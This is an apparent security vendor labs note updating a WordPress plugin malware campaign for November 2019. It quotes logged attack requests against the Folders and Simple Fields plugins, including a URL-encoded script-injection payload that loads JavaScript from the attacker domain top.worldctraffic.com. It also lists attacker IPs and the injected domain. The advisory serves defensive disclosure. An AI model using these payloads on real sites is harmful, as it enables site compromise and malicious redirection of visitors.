Plugins added to Malware Campaign: November 2019

Labs Note

This is an update for the long-lasting malware campaign targeting vulnerable plugins since January. Please check our previous updates below:

Plugins Under Attack: November 2019

Although attackers focused on infecting sites via attack vectors described here, we were able to detect the same behavior aiming plugins at the very end of this month.

Plugins that are continuing to be leveraged by attackers are:

Plugin Payloads Added to the Campaign

Folders

46.101.174.128 - type=attachment&width=%3C%2Fstyle%3E%3Cscript+type%3Dtext%2Fjavascript+src%3D%27https%3A%2F%2Ftop.worldctraffic.com%2Ftop%27%3E%3C%2Fscript%3E%3Cstyle%3E [23/Nov/2019:12:19:33 +0000] "POST /wp-admin/admin-ajax.php?action=wcp_change_post_width HTTP/1.1" 

Simple Fields

46.101.174.128 - action=simple_fields_do_import&import-json=%7B%0A++++%22field_groups%22%3A+%7B%0A++++++++%221%22%3A+%7B%0A++++++++++++%22id%22%3A+1%2C%0A++++++++++++%22key%22%3A+%22test%22%2C%0A++++++++++++%22slug%22%3A+%22test%22%2C%0A++++++++++++%22name%22%3A+%22test%22%2C%0A++++++++++++%22description%22%3A+%22%22%2C%0A++++++++++++%22repeatable%22%3A+false%2C%0A++++++++++++%22fields%22%3A+%5B%5D%2C%0A++++++++++++%22fields_by_slug%22%3A+%5B%5D%2C%0A++++++++++++%22deleted%22%3A+false%2C%0A++++++++++++%22gui_view%...skipped...%22deleted%22%3A+false%2C%0A++++++++++++%22hide_editor%22%3A+false%2C%0A++++++++++++%22added_with_code%22%3A+false%2C%0A++++++++++++%22field_groups_count%22%3A+1%0A++++++++%7D%0A++++%7D%2C%0A++++%22post_type_defaults%22%3A+%5B%0A++++++++false%0A++++%5D%0A%7D&import-what=textarea&simple-fields-import-type=replace [23/Nov/2019:13:02:05 +0000] "POST /wp-admin/admin-post.php HTTP/1.1" 

Malicious Domains and IPs:

IPs:

198.12.70.83
89.238.167.46
181.58.70.192
84.237.142.110
91.215.187.211
46.101.174.128

Domains Injected:

  • https[:]//top[.]worldctraffic[.]com/cas?/java.js?t=2&

We strongly encourage you to keep your software up to date to prevent infection. You can add a WAF as a second layer of protection to virtually patch these vulnerabilities.

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